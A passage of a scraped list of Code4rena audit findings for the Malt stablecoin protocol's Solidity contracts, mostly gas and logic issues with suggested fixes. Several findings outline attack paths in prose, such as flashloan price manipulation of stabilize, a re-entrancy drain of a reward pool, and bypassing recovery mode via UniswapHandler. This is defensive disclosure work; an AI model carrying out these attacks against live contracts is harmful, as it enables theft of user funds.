`stabilize`", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/372", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle stonesandtrees # Vulnerability details ## Impact All of the `rewardToken` in a given AMM pool can be removed from the AMM pool and distributed as LP rewards. ## Proof of Concept In the `stabilize` method in the `StabilizerNode` the initial check to see if the Malt price needs to be stabilized it uses a short period TWAP: https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/StabilizerNode.sol#L156 However, if the price is above the threshold for stabilization then the trade size required to stabilize looks at the AMM pool directly which is vulnerable to flashloan manipulation. https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/DexHandlers/UniswapHandler.sol#L250-L275 Attack: 1. Wait for TWAP to rise above the stabilization threshold 2. Flashloan remove all but a tiny amount of Malt from the pool. 3. Call `stabilize`. This will pass the TWAP check and execute `_distributeSupply` which in turn ultimately calls `_calculateTradeSize` in the `UniswapHandler`. This calculation will determine that almost all of the `rewardToken` needs to be removed from the pool to return the price to peg. 4. Malt will mint enough Malt to remove a lot of the `rewardToken` from the pool. 5. The protocol will now distribute that received `rewardToken` as rewards. 0.3% of which goes directly to the attacker and the rest goes to LP rewards, swing trader and the treasury. The amount of money that can be directly stolen by a malicious actor is small but it can cause a lot of pain for the protocol as the pool will be destroyed and confusion around rewards will be created. ## Tools Used Manual review ## Recommended Mitigation Steps Use a short TWAP to calculate the trade size instead of reading directly from the pool. "}, {"title": "Cache decimals", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/371", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Consider caching decimals when initializing malt and collateralToken to avoid repeated external calls, as they are not supposed to change unless initialized again: ```solidity uint256 maltDecimals = malt.decimals(); uint256 decimals = collateralToken.decimals(); ``` "}, {"title": "MiningService.setBonding should use BONDING role instead of REINVESTOR one", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/370", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle hyh # Vulnerability details ## Impact BONDING_ROLE cannot be managed after it was initialized. ## Proof of Concept ```setBonding``` set the wrong role via _swapRole: https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/MiningService.sol#L116 ## Recommended Mitigation Steps Set ```BONDING_ROLE``` instead of ```REINVESTOR_ROLE``` in ```setBonding``` function: Now: ``` function setBonding(address _bonding) public onlyRole(ADMIN_ROLE, \"Must have admin privs\") { require(_bonding != address(0), \"Cannot use address 0\"); _swapRole(_bonding, bonding, REINVESTOR_ROLE); bonding = _bonding; } ``` To be: ``` function setBonding(address _bonding) public onlyRole(ADMIN_ROLE, \"Must have admin privs\") { require(_bonding != address(0), \"Cannot use address 0\"); _swapRole(_bonding, bonding, BONDING_ROLE); bonding = _bonding; } ``` "}, {"title": "(10000 - thresholdBps) can be pre-calculated", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/369", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle pauliax # Vulnerability details ## Impact contract PoolTransferVerification sets thresholdBps but in calculations uses only ```(10000 - thresholdBps)```. Consider pre-calculating to avoid re-evaluation again and again when this function is invoked. "}, {"title": "ERC20 import", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/364", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-11-malt-findings", "body": "ERC20 import"}, {"title": "purchaseArbitrageTokens 0 amount", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/359", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Function purchaseArbitrageTokens should validate that amount > 0, otherwise it may be possible to spam accountCommitmentEpochs with 0 amounts: ```solidity if (auction.accountCommitments[msg.sender].commitment == 0) { accountCommitmentEpochs[msg.sender].push(currentAuctionId); } ``` ## Recommended Mitigation Steps require amount > 0 "}, {"title": "Unbounded loops", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/358", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle pauliax # Vulnerability details ## Impact There are several loops in the contract which can eventually grow so large as to make future operations of the contract cost too much gas to fit in a block, e.g.: ```solidity for (uint256 i = replenishingIndex; i < auctionIds.length; i = i + 1) // function outstandingArbTokens() while (true) // function allocateArbRewards ``` ## Recommended Mitigation Steps Consider introducing a reasonable upper limit based on block gas limits. Also, you can consider using EnumerableSet (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/structs/EnumerableSet.sol) where possible, e.g. 'buyers' or 'verifierList'. "}, {"title": "maxAmount and balance", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/357", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle pauliax # Vulnerability details ## Impact I think this if check is incorrect, because in theory maxAmount parameter can be greater than totalMaltBalance: ```solidity if (rewards <= deployedCapital && maxAmount != totalMaltBalance) { // If all malt is spent we want to reset deployed capital deployedCapital = deployedCapital - rewards; } else { deployedCapital = 0; } ``` ## Recommended Mitigation Steps If my assumption is correct, the check should use balance, not maxAmount: ``solidity balance != totalMaltBalance ``` Another possible solution: ``solidity maxAmount <= totalMaltBalance ``` However, I think the best approach would be to eliminate 'balance' altogether: ```solidity uint256 totalMaltBalance = malt.balanceOf(address(this)); if (totalMaltBalance == 0) { return 0; } (uint256 basis,) = costBasis(); if (maxAmount > totalMaltBalance) { maxAmount = totalMaltBalance; } malt.safeTransfer(address(dexHandler), maxAmount); uint256 rewards = dexHandler.sellMalt(); if (rewards <= deployedCapital && maxAmount < totalMaltBalance) { // If all malt is spent we want to reset deployed capital deployedCapital = deployedCapital - rewards; } else { deployedCapital = 0; } ``` "}, {"title": "Inclusive checks", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/356", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "Inclusive checks"}, {"title": "Auction.claimArbitrage: if calculated claimable amount is too big, the remaining committed amount cannot be retrieved", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/353", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle hyh # Vulnerability details ## Impact A condition requires that calculated retrievable amount shouldn't be too big. If it is the function fails and the remaining portion of commitment is frozen. As the amount is calculated by the system a user cannot do anything to retrieve remaining part of commitment, if any. ## Proof of Concept ```claimArbitrage``` fails if calculated redemption is higher than remaining commitment: https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Auction.sol#L230 ```userClaimableArbTokens``` calculated amount can be bigger than remaining user funds: https://github.com/code-423n4/2021-11-malt/blob/main/src/contracts/Auction.sol#L279 ## Recommended Mitigation Steps If the freezing of remainder amount is not intentional then substitute require with ceiling the amount to be retrieved with the remaining part. Now: ``` require(redemption <= remaining.add(1), \"Cannot claim more tokens than available\"); ``` To be: ``` if (redemption > remaining) { redemption = remaining; } ``` "}, {"title": "Inconsistencies when checking if the auction is active", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/352", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle pauliax # Vulnerability details ## Impact When auction.endingTime == now, function purchaseArbitrageTokens thinks that auction is still active, while isAuctionFinished and earlyExitReturn think that it has ended: purchaseArbitrageTokens: ```solidity require(auction.endingTime >= now, \"Auction is already over\"); ``` isAuctionFinished: ```solidity return auction.endingTime > 0 && (now >= auction.endingTime || ...); ``` earlyExitReturn: ```solidity if(active || block.timestamp < auctionEndTime) { return 0; } ``` ## Recommended Mitigation Steps Consider unifying it across the functions. "}, {"title": "Validation of 'to' in transferAndCall and transferWithPermit", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/350", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle pauliax # Vulnerability details ## Impact In functions transferAndCall and transferWithPermit the condition should be AND, not OR: ```solidity require(to != address(0) || to != address(this)); ``` ## Recommended Mitigation Steps ```solidity require(to != address(0) && to != address(this)); ``` "}, {"title": "DOMAIN_SEPARATOR can change", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/349", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle pauliax # Vulnerability details ## Impact The variable DOMAIN_SEPARATOR in contract ERC20Permit is assigned in the constructor and will not change after being initialized. However, if a hard fork happens after the contract deployment, the domain would become invalid on one of the forked chains due to the block.chainid has changed. Also, you don't need an assmebly to retrieve chainid, you can get it from a built in variable block.chainid. Similar issues were reported in a previous contest and were assigned a severity of low: https://github.com/code-423n4/2021-06-realitycards-findings/issues/166 https://github.com/code-423n4/2021-09-swivel-findings/issues/98 ## Recommended Mitigation Steps An elegant solution that you may consider applying is from Sushi Trident: https://github.com/sushiswap/trident/blob/concentrated/contracts/pool/concentrated/TridentNFT.sol#L47-L62 "}, {"title": "Create2Deployer", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/348", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-malt-findings", "body": "Create2Deployer"}, {"title": "Inaccurate revert messages", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/343", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Inaccurate revert messages: ```solidity _delay >= 0 && _delay < gracePeriod, \"Timelock::setDelay: Delay must not be greater equal to zero and less than gracePeriod\" require(startEpoch < endEpoch, \"Start cannot be before the end\"); require(rewardAmount <= rewardEarned, \"< earned\"); require(bondedBalance > 0, \"< bonded balance\"); require(amount <= bondedBalance, \"< bonded balance\"); ``` "}, {"title": "RewardReinvestor - safeTransfer used unnecessarily on Malt token", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/339", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle ScopeLift # Vulnerability details ## Impact Inside `provideReinvest` and `_bondAccount` gas can be saved by using the standard transfer method on the Malt token, since we know its implementation is correct and will return true/false. ## Proof of Concept N/A ## Tools Used N/A ## Recommended Mitigation Steps Replace `malt.safeTransfer(address(dexHandler), balance);` with something like: ```solidity require(malt.transfer(address(dexHandler), balance), 'malt transfer failed'); ``` "}, {"title": "AbstractRewardMine - Re-entrancy attack during withdrawal", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/333", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle ScopeLift # Vulnerability details ## Impact The internal `_withdraw` method does not follow the checks-effects-interactions pattern. A malicious token, or one that implemented transfer hooks, could re-enter the public calling function (such as `withdraw()`) before proper internal accounting was completed. Because the `earned` function looks up the `_userWithdrawn` mapping, which is not yet updated when the transfer occurs, it would be possible for a malicious contract to re-enter `_withdraw` repeatedly and drain the pool. ## Proof of Concept N/A ## Tools Used N/A ## Recommended Mitigation Steps The internal accounting should be done before the transfer occurs: ```solidity function _withdraw(address account, uint256 amountReward, address to) internal { _userWithdrawn[account] += amountReward; _globalWithdrawn += amountReward;f rewardToken.safeTransfer(to, amountReward); emit Withdraw(account, amountReward, to); } ``` "}, {"title": "Various contracts - remove unused function parameters to save gas ", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/331", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-malt-findings", "body": "Various contracts - remove unused function parameters to save gas "}, {"title": "Various contracts - stricter function mutability for gas savings", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/330", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle ScopeLift # Vulnerability details ## Impact There are four functions that can have stricter function mutability declarations. Using a stricter declaration can help the compiler save gas when it knows whether reads and writes will occur in a function ## Proof of Concept N/A ## Tools Used solc ## Recommended Mitigation Steps Implement the changes suggested by the Solidity compiler. For examples like `AbstractTransferVerification`, the solidity compiler is wrong because it doesn't know you plan to override this function declaration. Instead, `AbstractTransferVerification` could be an interface without a function definition ``` contracts/AbstractTransferVerification.sol:9:3: Warning: Function state mutability can be restricted to pure function verifyTransfer(address from, address to, uint256 amount) public view virtual returns (bool, string memory) { ^ (Relevant source part starts here and spans across multiple lines). contracts/AuctionEscapeHatch.sol:168:3: Warning: Function state mutability can be restricted to view function _calculateMaltRequiredForExit(uint256 _auctionId, uint256 amount) internal returns(uint256) { ^ (Relevant source part starts here and spans across multiple lines). contracts/AuctionParticipant.sol:127:3: Warning: Function state mutability can be restricted to pure function _handleRewardDistribution(uint256 rewarded) virtual internal { ^ (Relevant source part starts here and spans across multiple lines). contracts/MaltDataLab.sol:202:3: Warning: Function state mutability can be restricted to pure function _normalizedPrice( ^ (Relevant source part starts here and spans across multiple lines). ``` "}, {"title": "Permissions - return values not checked when sending ETH", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/329", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle ScopeLift # Vulnerability details ## Impact On lines 85 and 101, ETH is transferred using a `.call` to an address provided as an input, but there is no verification that the call call succeeded. This can result in a call to `emergencyWithdrawGAS` or `partialWithdrawGAS` appearing successful but in reality it failed. This can happen when the provided `destination` address is a contract that cannot receive ETH, or if the `amount` provided is larger than the contract's balance ## Proof of Concept Enter the following in remix, deploy the `Receiver` contract, and send 1 ETH when deploying the `Permissions` contract. Call `emergencyWithdrawGAS` with the receiver address and you'll see it reverts. This would not be caught in the current code ```solidity pragma solidity ^0.8.0; contract Receivier{} contract Permissions { constructor() payable {} function emergencyWithdrawGAS(address payable destination) external { (bool ok, ) = destination.call{value: address(this).balance}(''); require(ok, \"call failed\"); } } ``` ## Tools Used Remix ## Recommended Mitigation Steps In `emergencyWithdrawGAS`: ```diff - destination.call{value: address(this).balance}(''); + (bool ok, ) = destination.call{value: address(this).balance}(''); + require(ok, \"call failed\"); ``` And similar for `partialWithdrawGAS` "}, {"title": "AuctionBurnReserveSkew - remove `for` loop from initializer", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/326", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle ScopeLift # Vulnerability details ## Estimated risk level Gas Optimization ## Impact Instantiating an array of length n is better than `push(0)` n times and saves 20k gas in tests. ## Proof of Concept ## Tools Used ## Recommended Mitigation Steps change the initializer ```diff ## Saves ~20,000 gas on initialize diff --git a/src/contracts/AuctionBurnReserveSkew.sol b/src/contracts/AuctionBurnReserveSkew.sol index 4ed6fa6..87d5959 100644 --- a/src/contracts/AuctionBurnReserveSkew.sol +++ b/src/contracts/AuctionBurnReserveSkew.sol @@ -51,9 +51,7 @@ contract AuctionBurnReserveSkew is Initializable, Permissions { auction = IAuction(_auction); auctionAverageLookback = _period; - for (uint i = 0; i < _period; i++) { - pegObservations.push(0); - } + pegObservations = new uint256[](_period); } function consult(uint256 excess) public view returns (uint256) { ``` "}, {"title": "User can bypass Recovery Mode via UniswapHandler to buy Malt ", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/325", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle gzeon # Vulnerability details ## Impact One of the innovative feature of Malt is to block buying while under peg. The buy block can be bypassed by swapping to the whitelisted UniswapHandler, and then extract the token by abusing the add and remove liquidity function. This is considered a high severity issue because it undermine to protocol's ability to generate profit by the privileged role as designed and allow potential risk-free MEV. ## Proof of Concept 1) User swap dai into malt and send malt directly to uniswapHandler, this is possible becuase uniswapHandler is whitelisted `swapExactTokensForTokens(amountDai, 0, [dai.address, malt.address], uniswapHandler.address, new Date().getTime() + 10000);` 2) User send matching amount of dai to uniswapHandler 3) User call addLiquidity() and get back LP token 4) User call removeLiquidity() and get back both dai and malt ## Recommended Mitigation Steps According to documentation in https://github.com/code-423n4/2021-11-malt#high-level-overview-of-the-malt-protocol > Users wanting to remove liquidity can still do so via the UniswapHandler contract that is whitelisted in recovery mode. , this should be exploitable. Meanwhile the current implementation did not actually allow remove liquidity during recovery mode (refer to issue \"Unable to remove liquidity in Recovery Mode\") This exploit can be mitigated by disabling addLiquidity() when the protocol is in recovery mode "}, {"title": "Unable to remove liquidity in Recovery Mode", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/323", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle gzeon # Vulnerability details ## Impact According to https://github.com/code-423n4/2021-11-malt#high-level-overview-of-the-malt-protocol > When the Malt price TWAP drops below a specified threshold (eg 2% below peg) then the protocol will revert any transaction that tries to remove Malt from the AMM pool (ie buying Malt or removing liquidity). Users wanting to remove liquidity can still do so via the UniswapHandler contract that is whitelisted in recovery mode. However, in https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/DexHandlers/UniswapHandler.sol#L236 liquidity removed is directly sent to msg.sender, which would revert if it is not whitelisted https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/PoolTransferVerification.sol#L53 ## Recommended Mitigation Steps Liquidity should be removed to UniswapHandler contract, then the proceed is sent to msg.sender "}, {"title": "Missing `maltDataLab.trackReserveRatio()` in some cases after `swingTrader.sellMalt()`", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/320", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle WatchPug # Vulnerability details Based on the context, `maltDataLab.trackReserveRatio()` should be called once a market buy/sell is made. However, in `_distributeSupply()` when `swingAmount >= tradeSize`, after a market sell, the function returned without `maltDataLab.trackReserveRatio()`. https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/StabilizerNode.sol#L145-L174 ```solidity=145{168,170,172} function stabilize() external notSameBlock { auction.checkAuctionFinalization(); require( block.timestamp >= stabilizeWindowEnd || _stabilityWindowOverride(), \"Can't call stabilize\" ); stabilizeWindowEnd = block.timestamp + stabilizeBackoffPeriod; rewardThrottle.checkRewardUnderflow(); uint256 exchangeRate = maltDataLab.maltPriceAverage(priceAveragePeriod); if (!_shouldAdjustSupply(exchangeRate)) { maltDataLab.trackReserveRatio(); lastStabilize = block.timestamp; return; } emit Stabilize(block.timestamp, exchangeRate); if (exchangeRate > maltDataLab.priceTarget()) { _distributeSupply(); } else { _startAuction(); } lastStabilize = block.timestamp; } ``` https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/StabilizerNode.sol#L211-L246 ```solidity=211{228-230,244} function _distributeSupply() internal { if (supplyDistributionController != address(0)) { bool success = ISupplyDistributionController(supplyDistributionController).check(); if (!success) { return; } } uint256 priceTarget = maltDataLab.priceTarget(); uint256 tradeSize = dexHandler.calculateMintingTradeSize(priceTarget).div(expansionDampingFactor); if (tradeSize == 0) { return; } uint256 swingAmount = swingTrader.sellMalt(tradeSize); // @Auditor: At this time, a market operation occurred, affecting the reserveRatio if (swingAmount >= tradeSize) { return; } tradeSize = tradeSize - swingAmount; malt.mint(address(dexHandler), tradeSize); emit MintMalt(tradeSize); uint256 rewards = dexHandler.sellMalt(); auctionBurnReserveSkew.addAbovePegObservation(tradeSize); uint256 remaining = _replenishLiquidityExtension(rewards); _distributeRewards(remaining); maltDataLab.trackReserveRatio(); impliedCollateralService.claim(); } ``` ### Recommendation Consider moving `maltDataLab.trackReserveRatio()` from `_distributeSupply()`, `_startAuction()` to `stabilize()` before L173. "}, {"title": "Use short reason strings can save gas", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/317", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "Use short reason strings can save gas"}, {"title": "Redundant checks", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/316", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Bonding.sol#L114-L132 ```solidity=114 function unbondAndBreak(uint256 amount) external { require(amount > 0, \"Cannot unbond 0\"); uint256 bondedBalance = balanceOfBonded(msg.sender); require(bondedBalance > 0, \"< bonded balance\"); require(amount <= bondedBalance, \"< bonded balance\"); // Avoid leaving dust behind if (amount.add(1e16) > bondedBalance) { amount = bondedBalance; } miningService.onUnbond(msg.sender, amount); _unbondAndBreak(amount); } ``` L121, the check of `bondedBalance > 0` is unnecessary, since the L122 already included the same check. https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/ERC20Permit.sol#L118-L127 ```solidity=118{121-122, 124} function transferAndCall(address to, uint value, bytes calldata data) external returns (bool) { require(to != address(0) || to != address(this)); uint256 balance = balanceOf(msg.sender); require(balance >= value, \"ERC20Permit: transfer amount exceeds balance\"); _transfer(msg.sender, to, value); return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data); } ``` L121-L122, the check of `balance >= value` is unnecessary, since the L124 already included the same check. "}, {"title": "Outdated versions of OpenZeppelin library", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/315", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-malt-findings", "body": "Outdated versions of OpenZeppelin library"}, {"title": "`MovingAverage.setSampleMemory()` may broke MovingAverage, making the value of `exchangeRate` in `StabilizerNode.stabilize()` being extremely wrong", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/313", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/MovingAverage.sol#L424-L442 ```solidity=424 function setSampleMemory(uint256 _sampleMemory) external onlyRole(ADMIN_ROLE, \"Must have admin privs\") { require(_sampleMemory > 0, \"Cannot have sample memroy of 0\"); if (_sampleMemory > sampleMemory) { for (uint i = sampleMemory; i < _sampleMemory; i++) { samples.push(); } counter = counter % _sampleMemory; } else { activeSamples = _sampleMemory; // TODO handle when list is smaller Tue 21 Sep 2021 22:29:41 BST } sampleMemory = _sampleMemory; } ``` In the current implementation, when `sampleMemory` is updated, the samples index will be malposition, making `getValueWithLookback()` get the wrong samples, so that returns the wrong value. ## PoC - When initial sampleMemory is `10` - After `movingAverage.update(1e18)` being called for 120 times - The admin calls `movingAverage.setSampleMemory(118)` and set sampleMemory to `118` The current `movingAverage.getValueWithLookback(sampleLength * 10)` returns `0.00000203312 e18`, while it's expeceted to be `1e18` After `setSampleMemory()`, `getValueWithLookback()` may also return `0`or revert FullMath: FULLDIV_OVERFLOW at L134. ### Recommendation Consider removing `setSampleMemory` function. "}, {"title": "Checking if `lpProfitCut > 0` can save gas", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/310", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/SwingTrader.sol#L136-L141 ```solidity if (profit > 0) { uint256 lpCut = profit.mul(lpProfitCut).div(1000); collateralToken.safeTransfer(address(rewardThrottle), lpCut); rewardThrottle.handleReward(); } ``` Given that `lpProfitCut` can be `0`, checking if `lpProfitCut > 0` can avoid unnecessary code execution (including external calls) and save some gas. "}, {"title": "Checking `uint256` variables `>= 0` is redundant", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/309", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle WatchPug # Vulnerability details Checking `uint256` variables >= 0 is redundant as they always >= 0. Instances include: https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/SwingTrader.sol#L169-L172 ```solidity function setLpProfitCut(uint256 _profitCut) public onlyRole(ADMIN_ROLE, \"Must have admin privs\") { require(_profitCut >= 0 && _profitCut <= 1000, \"Must be between 0 and 100%\"); lpProfitCut = _profitCut; } ``` `_profitCut >= 0` at L170. https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Timelock.sol#L66-L77 ```solidity function setDelay(uint256 _delay) public onlyRole(GOVERNOR_ROLE, \"Must have timelock role\") { require( _delay >= 0 && _delay < gracePeriod, \"Timelock::setDelay: Delay must not be greater equal to zero and less than gracePeriod\" ); delay = _delay; emit NewDelay(delay); } ``` `_delay >= 0` at L71. "}, {"title": "`MovingAverage.sol#_getFirstSample()` Implementation can be simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/308", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-malt-findings", "body": "`MovingAverage.sol#_getFirstSample()` Implementation can be simpler and save some gas"}, {"title": "Only use `SafeMath` when necessary can save gas", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/307", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle WatchPug # Vulnerability details For the arithmetic operations that will never over/underflow, using SafeMath will cost more gas. For example: https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/Auction.sol#L238-L242 ```solidity=238 if (amountTokens > unclaimedArbTokens) { unclaimedArbTokens = 0; } else { unclaimedArbTokens = unclaimedArbTokens.sub(amountTokens); } ``` `unclaimedArbTokens - amountTokens` will never underflow. ### Recommendation Change to: ```solidity=238 if (amountTokens >= unclaimedArbTokens) { unclaimedArbTokens = 0; } else { unclaimedArbTokens -= amountTokens; } ``` https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/AuctionBurnReserveSkew.sol#L76-L80 ```solidity=76 if (premiumExcess > maxBurnSpend) { return premiumExcess; } uint256 usableExcess = maxBurnSpend.sub(premiumExcess); ``` `maxBurnSpend - premiumExcess` will never underflow. ### Recommendation Change to: ```solidity=76 if (premiumExcess > maxBurnSpend) { return premiumExcess; } uint256 usableExcess = maxBurnSpend - premiumExcess; ``` "}, {"title": "`AuctionBurnReserveSkew.sol#getRealBurnBudget()` Implementation can be simpler and save some gas", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/306", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/AuctionBurnReserveSkew.sol#L69-L89 ```solidity=69{76,82-84} function getRealBurnBudget( uint256 maxBurnSpend, uint256 premiumExcess ) public view returns(uint256) { // Returning maxBurnSpend = maximum supply burn with no reserve ratio improvement // Returning premiumExcess = maximum reserve ratio improvement with no real supply burn if (premiumExcess > maxBurnSpend) { return premiumExcess; } uint256 usableExcess = maxBurnSpend.sub(premiumExcess); if (usableExcess == 0) { return premiumExcess; } uint256 burnable = consult(usableExcess); return premiumExcess + burnable; } ``` L82-84 `if (maxBurnSpend == premiumExcess)` can be combined with L76-78. ### Recommendation Change to: ```solidity=69{76} function getRealBurnBudget( uint256 maxBurnSpend, uint256 premiumExcess ) public view returns(uint256) { // Returning maxBurnSpend = maximum supply burn with no reserve ratio improvement // Returning premiumExcess = maximum reserve ratio improvement with no real supply burn if (premiumExcess >= maxBurnSpend) { return premiumExcess; } uint256 usableExcess = maxBurnSpend.sub(premiumExcess); uint256 burnable = consult(usableExcess); return premiumExcess + burnable; } ``` "}, {"title": "Users may lose a small portion of promised returns due to precision loss", "html_url": "https://github.com/code-423n4/2021-11-malt-findings/issues/305", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-malt-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-malt/blob/c3a204a2c0f7c653c6c2dda9f4563fd1dc1cecf3/src/contracts/AuctionEscapeHatch.sol#L131-L140 ```solidity=131 uint256 progressionBps = (block.timestamp - auctionEndTime) * 10000 / cooloffPeriod; if (progressionBps > 10000) { progressionBps = 10000; } if (fullReturn > amount) { // Allow a % of profit to be realised uint256 maxProfit = (fullReturn - amount) * (maxEarlyExitBps * progressionBps / 10000) / 1000; return amount + maxProfit; } ``` If we assume that `maxEarlyExitBps` is 200 and `cooloffPeriod` is 1 day, when `progressionBps` less than 50, `(maxEarlyExitBps * progressionBps / 10000)` will be 0 due to precision loss, which resulted in `maxProfit` is 0. When `maxEarlyExitBps` is set smaller, the margin of error will be even larger. # POC Given: - Current price of arb token is 0.8 DAI 1. Alice calls `purchaseArbitrageTokens()` and purchase with 8,000 DAI; 2. 7 mins later, the market price of MALT become 0.9 DAI; Alice calls `exitEarly()`, it will mint 8,888.88 Malt and receive 8,000 DAI, while it's expected to 8,890 MALT and 8,000.96 DAI. ### Recommendation Change to: ```solidity if (fullReturn > amount) { // Allow a % of profit to be realised uint256 maxProfit = 